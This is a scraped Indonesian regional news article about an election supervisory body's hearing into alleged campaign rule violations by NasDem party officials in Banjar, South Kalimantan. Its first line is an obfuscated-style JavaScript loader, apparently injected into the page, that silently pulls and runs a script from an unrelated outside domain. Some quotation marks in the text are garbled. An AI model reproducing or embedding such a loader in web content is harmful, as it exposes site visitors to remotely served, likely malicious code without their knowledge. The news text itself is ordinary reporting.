(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Badan Pengawas Pemilu (Bawaslu) Kalsel menggelar sidang lanjutan kasus dugaan pelanggaran administrasi pemilu yang dilakukan jajaran elite Partai Nasdem, Selasa (26/2). Mereka yang dilaporkan dalam kasus ini adalah Ketua DPW Partai NasDem Kalsel sekaligus caleg DPR RI Guntur Perwira, Ketua DPD Nasdem Banjar Ahmad Rizani Ansari, dan Wakil Bupati Banjar merangkap Ketua Dewan Pertimbangan DPD NasDem Banjar Saidi Mansyur, serta dua caleg DPRD Banjar yakni Abdussaman dan M Syafwani.
Sidang yang berlangsung siang tadi mengagendakan pembacaan materi laporan dari penemu, tanggapan terlapor serta pemeriksaan alat bukti. Namun sayangnya, tidak semua pihak yang dilaporkan hadir dalam sidang. Termasuk Guntur Perwira dan Wabup Saidi Mansyur.
Kasus dugaan pelanggaran pemilu ini bermula dari temuan tim Panwas Kecamatan Beruntung Baru, Kabupaten Banjar atas dugaan pelanggaran administrasi pemilu. Yakni pada saat Saidi Mansyur, Guntur Perwira, Rizani dan lainnya melakukan agenda Safari Jum’at di Masjid Nurul Ishlah, Desa Pindahan Baru, Kecamatan Beruntung Baru, pada Jumat (1/2) silam.
Koordinator Divisi Penindakan Pelanggaran Bawaslu Banjar, Muhammad Syahrial Fitri mengatakan, silaturahmi itu dibungkus tatap muka perkenalan caleg yang berada dalam Dapil 3 Kabupaten Banjar. Namun, kegiatan tersebut ternyata tak memiliki Surat Tanda Terima Pemberitahuan (STTP) dari kepolisan.
“STTP wajib diurus sebelum acara dimulai. Itu sudah sesuai dengan PKPU Nomor 2018. Kami cek ke seluruh pihak ternyata tidak ada,” katanya saat sidang.
Anehnya, pihaknya baru menemukan surat pemberitahuan setelah lebih sepekan acara berakhir. Surat ini baru diterima menyusul pada Rabu (13/2). “Itu pun cuma surat pemberitahuan. Bukan STTP,” ungkapnya.
Syahrial menjelaskan, dalam PKPU nomor 23 tahun 2018 pasal 29 ayat 1, ketentuan mengenai STTP wajib diurus terlebih dahulu bagi caleg atau peserta pemilu yang ini melaksanakan baik itu kampanye terbatas maupun kampanye tatap muka. Bawaslu lah yang di sini memastikan bahwa surat tersebut sudah dilaksanakan atau belum.
“Sudah dilaksanakan atau belum, itu ada tembusan baik itu di desa, Panwaslu kecamatan , Bawaslu kabupaten maupun Bawaslu Provinsi. Karena berkaitan dengan DPW Nasdem levelnya provinsi, tentu saja itu suratnya dari polda. Lalu tembusannya ke Bawaslu provinsi, kemudian ke Bawaslu kabupaten untuk kami turunkan lagi ke Panwaslu kecamatan†jelasnya.
Namun saat dikonfirmasi oleh Bawaslu, STTP tersebut tidak ada. Hanya ada dua STTP saja yang ada terkait kampanye yang dilakukan oleh Sandiaga Uno maupun Ma’ruf Amin beberapa waktu lalu. â€ÂNah untuk kegiatan ini tidak ada (STTP). Lalu pada tanggal 13 Februari, berdasarkan informasi Panwaslu kecamatan kami, ada pemberitahuan. Cuma surat pemberitahuan, belum STTP. Kalau STTP itu ada kop resmi oleh Polres baik itu tingkat provinsi, kabupaten maupun kecamantan†tambahnya.
Dengan demikian, kegiatan tersebut bisa disimpulkan melanggar pasal 29 ayat 1 Peraturan KPU No 23 Tahun 2018 tentang Kampanye Pemilihan Umum yang menyatakan bahwa petugas kampanye pertemuan tatap muka wajib menyampaikan pemberitahuan tertulis kepada aparat Kepolisian setempat, dengan tembusan kepada KPU, KPU Provinsi dan atau KPU/KIP Kabupaten/Kota, Bawaslu Provinsi, dan atau Bawaslu Kabupaten kota, sesuai dengan tingkatannya.
Selain itu, dalam aturan mengenai jumlah peserta juga melampaui kapasitas jumlah tempat duduk yang disediakan. Hal ini tidak sesuai dengan ketentuan pasal 28 ayat 3 huruf a Peraturan KPU Nomor 23 Tahun 2018 tentang Kampanye Pemilihan Umum.
Menyikapi hal tersebut, Ketua DPD Nasdem Banjar Ahmad Rizani Ansari yang hadir juga mewakili pihak yang berhalangan hadir mengatakan, fokus untuk mendengar keterangan dari saksi pelapor. “Kami tidak menghadirkan saksi. Kalau dihadirkan, substansinya juga untuk apa gitu kan? Kalau toh ini pelanggaran administrasi dan sangakaannya itu cukup ya kami terima saja,†jelasnya pada wartawan usai sidang.
Ketika ditanyai apakah para terlapor akan hadir pada sidang berikutnya dan tidak diwakilkan, Rizani mengatakan bahwa tidak mesti para terlapor yang datang. “Pada intinya keterangan dari pihak penemu terhadap kami lah intinya.â€Â
Untuk perihal Surat Tanda Terima Pemberitahuan (STTP) yang kabarnya baru diterima oleh Panwascam pada tanggal 13 Februari lalu, Ahmad mengatakan bahwa pihaknya tidak bagaimana persis prosesnya secara administrasi. “Namanya partai baru ini pasti banyak kekuranganlah†timpalnya.
Saat sidang berlangsung, pihak terlapor sempat mempertanyakan tentang saksi yang berlatarbelakang sebagai pegawai Panwaslu Banjar. Namun Bawaslu mengatakan hal tersebut menjadi bagian dari conflict of interest (untuk pihak terlapor). Ia menambahkan bawa dinamika tersebut biasa saja dan semuanya mereka kembalikan kepada majelis pelanggaran administrasi. “Sebelumnya juga kami bertanya pada warga yang bisa dijadikan saksi. Tapi memang ada hambatan-hambatan yang tidak semudah itu untuk mendorong orang menjadi saksi. Maka oleh karenanya saksi yang kami ajukan anggota kami yang ada di lapangan, yang bekerja sudah sesuai dengan aturan dan SOP,†kata Syahrial.
Sementara, ikhwal peran Saidi Mansyur, Rizani memastikan Wabup Banjar itu tak ada agenda politik di sela silaturahmi. Menurut Rizani, kehadiran Saidi sebatas kader Nasdem tanpa embel-embel tujuan politik. Saidi hadir sebagai undangan dan tidak berkampanye. Apalagi, posisinya memang bukan caleg dalam forum tersebut.
Hal ini dibenarkan pula oleh Bawaslu. Pun kehadirannya yang di luar jam kerja kantor dalam posisinya sebagai Wakil Bupati Banjar. “Sebab, jam kerja di Pemkab Banjar itu pada hari Jumat selesai pada pukul 11.00 siang,†ucap Syahrial. Atas dasar tersebut, Bawaslu Banjar berpendapat Saidi Mansyur tidak melanggar ketentuan pidana pemilu. Tapi terkait pelanggaran administrasi metode kampanye.(mario)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.